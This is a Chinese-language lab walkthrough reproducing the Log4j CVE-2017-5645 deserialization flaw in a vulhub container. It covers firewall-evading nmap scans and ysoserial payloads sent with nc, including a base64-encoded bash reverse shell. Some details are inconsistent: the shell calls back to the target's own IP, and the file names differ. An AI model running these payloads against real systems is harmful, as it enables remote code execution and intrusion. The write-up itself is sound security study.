Log4j漏洞复现
基础知识:
Apache:开放源码的网页服务器
Apache Log4j:apache的一个开源项目,java下最流行的日志输入工具,控制每一条日志的输出格式。
Log4j版本:
2.8.1
漏洞编号:
CVE-2017-5645
环境搭建:
vulhub里的log4j
已开启
在4712端口会开启一个TCP server
漏洞验证:
查看4712端口是否开启
这里直接-p 4712去查看端口开放情况发现是“filtered状态”,说明被防火墙过滤掉了。
那么此时我们就要绕过防火墙进行探测
通常用-sS -sA -sF命令结合判断
-sS为半开放扫描
扫描器向目标主机的一个端口发送请求连接的SYN包,扫描器在收到SYN/ACK后,不是发送的ACK应答,而是发送RST包请求断开连接。三次握手就没有完成,扫描没有记录到日志记录。不会留下扫描痕迹,需要root权限。
-sF
FIN为TCP会话结束标志,在FIN扫描中设置一个FIN位的数据包,若响应RST数据包,则表示端口关闭,没有响应则表示端口开放,不能准确判断WINDOWS端口开放情况,适合探测linux系统的端口开放情况
-sA
扫描主机向目标主机发送ACK数据包,根据返回的RST数据包可得出两种情况:
返回的RST数据包的TTL值小于或等于64,端口开放,反之端口关闭。
ACK
TTL<=64
从nmap -sF -p 4712 192.168.170.130这条命令当中得出4712端口是开放的
既然是开放的那我们就可以利用其进行测试
使用ysoserial生成payload,直接发送给192.168.170.130:4712端口即可
ysoserial个人理解为java反序列化的工具,用于生成payload
这里下载好后要打包成jar包
打包的过程还没有搞清楚- -,所以这里直接在网上找到了旧版的jar包资源
将下载好的jar包放到我们的kali上
执行命令:
Java -jar ysoserial-master.jar CommonsCollections5 "touch /tmp/success" | nc your-ip 4712
这个命令是为了在我们的靶机的/tmp目录下创建一个testsuccess文件,如果命令执行成功,就可以在这个靶机上找到这个文件
因为是用docker容器里创建的靶场,我们可以先去看看容器的id是多少
Log4j的ID为7c43debe731b
我们打开网站目录,来查看是否存在这个文件
Docker exec -it 7c43debe731b /bin/bash
这里/bin/bash的作用是后台运行一个进程,否则容器就会退出,这里表示打开网站目录后启动bash
dockerexec -it CONTAINER_ID bash
进入容器终端并且的保留为容器终端的输入形式.
进入tmp目录发现testsuccess文件成功被创建
说明touch /tmp/testsuccess命令成功
Touch命令:
接下来我们可以进行反弹shell的命令
先开启监听端口
然后去网站生成bash命令
再将其进行base64位编码
返回kali输入命令
java -jar ysoserial-master.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3MC4xMzAvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.170.130 4712
监听8888端口就会弹出shell
修复建议:
更新至最新版本